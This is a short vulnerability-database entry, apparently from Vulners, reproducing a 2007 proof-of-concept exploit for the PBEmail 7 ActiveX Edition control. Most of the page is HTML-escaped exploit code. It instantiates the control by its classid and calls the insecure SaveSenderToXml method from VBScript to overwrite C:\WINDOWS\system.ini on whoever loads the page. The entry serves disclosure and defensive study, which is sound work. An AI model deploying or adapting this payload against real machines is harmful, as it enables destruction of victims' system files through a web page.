PBEmail 7 ActiveX Edition Insecure Method Exploit

🗓️ 13 Oct 2007 00:00:00Reported by RootType

PBEmail 7 ActiveX Edition Insecure Method Exploit found by Katatafis


                                                &lt;pre&gt;
&lt;b&gt;Found&nbsp;by&lt;/b&gt;:&nbsp;Katatafish&nbsp;(karatatata{at}hush{dot}com)
&lt;b&gt;software&lt;/b&gt;:PBEmail&nbsp;7&nbsp;ActiveX&nbsp;Edition
&lt;b&gt;Vendor:&lt;/b&gt;&nbsp;http://www.perfectionbytes.com
&lt;b&gt;vulnerability&lt;/b&gt;:&nbsp;Insecure&nbsp;method
SaveSenderToXml(XmlFilePath:&nbsp;BSTR);&nbsp;stdcall;&nbsp;in&nbsp;PBEmail7Ax.dll
&lt;b&gt;Tested&nbsp;on&nbsp;Internet&nbsp;explorer&nbsp;7&nbsp;with&nbsp;Windows&nbsp;XP&nbsp;SP&nbsp;2.&lt;/b&gt;
&lt;b&gt;Thanks:&lt;/b&gt;&nbsp;str0ke

&lt;/pre&gt;

&lt;object&nbsp;classid=&quot;clsid:30C0FDCB-53BE-4DB3-869D-32BF2DAD0DEC&quot;&nbsp;
id=&quot;kat&quot;&gt;&lt;/object&gt;	
&lt;script&nbsp;language=&quot;vbscript&quot;&gt;
&nbsp;&nbsp;kat.SaveSenderToXml&nbsp;&quot;C:\WINDOWS\system.ini&quot;
&nbsp;&nbsp;MyMsg&nbsp;=&nbsp;MsgBox&nbsp;(&quot;Done!&nbsp;Your&nbsp;C:\WINDOWS\system.ini&nbsp;file&nbsp;should&nbsp;now&nbsp;
be&nbsp;overwriten.&quot;)
&lt;/script&gt;

13 Oct 2007 00:00Current

7.1High risk

Vulners AI Score7.1